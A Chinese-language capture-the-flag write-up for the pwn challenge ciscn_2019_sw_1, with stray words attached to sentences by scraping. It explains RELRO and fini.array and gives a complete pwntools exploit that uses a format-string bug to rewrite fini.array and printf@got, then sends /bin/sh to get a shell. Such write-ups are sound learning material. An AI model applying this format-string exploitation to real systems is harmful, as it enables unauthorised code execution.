ciscn_2019_sw_1

ciscn_2019_sw_1

總結

根據本題,學習與收穫有:python

  • RELRO保護爲NO RELRO的時候,init.array、fini.array、got.plt都可讀可寫;爲PARTIAL RELRO的時候,ini.array、fini.array可讀不可寫,got.plt可讀可寫;爲FULL RELRO時,init.array、fini.array、got.plt都可讀不可寫。
  • 程序在加載的時候,會依次調用init.array數組中的每個函數指針,在結束的時候,依次調用fini.array中的每個函數指針
  • 當程序出現格式化字符串漏洞,可是須要寫兩次才能完成攻擊,這個時候能夠考慮改寫fini.array中的函數指針爲main函數地址,能夠再執行一次main函數。通常來講,這個數組的長度爲1,也就是說只能寫一個地址。

題目分析

checksec

函數分析

main

程序比較簡單,只有一個main函數,並且就是格式化字符串漏洞。同時注意到,程序中有一個sys函數,裏面調用了systemgit

sys

漏洞點

漏洞點很明顯,就是main函數中的格式化字符串漏洞。能夠而且格式化參數是一個棧變量而不是堆變量,相對來講利用難度要低一點。而且程序給了system函數,其實都不須要泄露地址。github

利用思路

知識點

  • 程序在結束的時候會調用fini.array函數指針數組中的每個回調函數。shell

利用過程

  • 利用格式化字符串漏洞,將fini.array[0]改寫爲main函數地址,與此同時,將printf@got改寫爲system@plt,得到第二次執行main函數的機會
  • 輸入/bin/sh獲取shell

EXP

調試過程

  1. 測出printf格式化字符串的偏移數組

    輸入:aaaa%x,%x,%x,%x,%x,%x,%x,%x,%x,%x函數

    測量出偏移爲4學習

  2. 第一次改寫fini.arrayprintf@got,直接手擼:指針

    payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn"+ p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)
    
    sh.recvline()
    sh.sendline(payload)

    改寫前調試

    改寫後code

  3. 第二次輸入/bin/sh獲取shell

完整exp

from pwn import *

sh = process("./ciscn_2019_sw_1")
# 往fini.array[0]寫main@text, printf@got寫system@plt
payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn" + p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)

sh.recvline()

sh.sendline(payload)

sleep(1)

sh.sendline("/bin/sh")
sh.interactive()

遠程攻擊效果

參考與引用

個人博客地址https://roderickchan.github.io/

相關文章
相關標籤/搜索
本站公眾號
   歡迎關注本站公眾號,獲取更多信息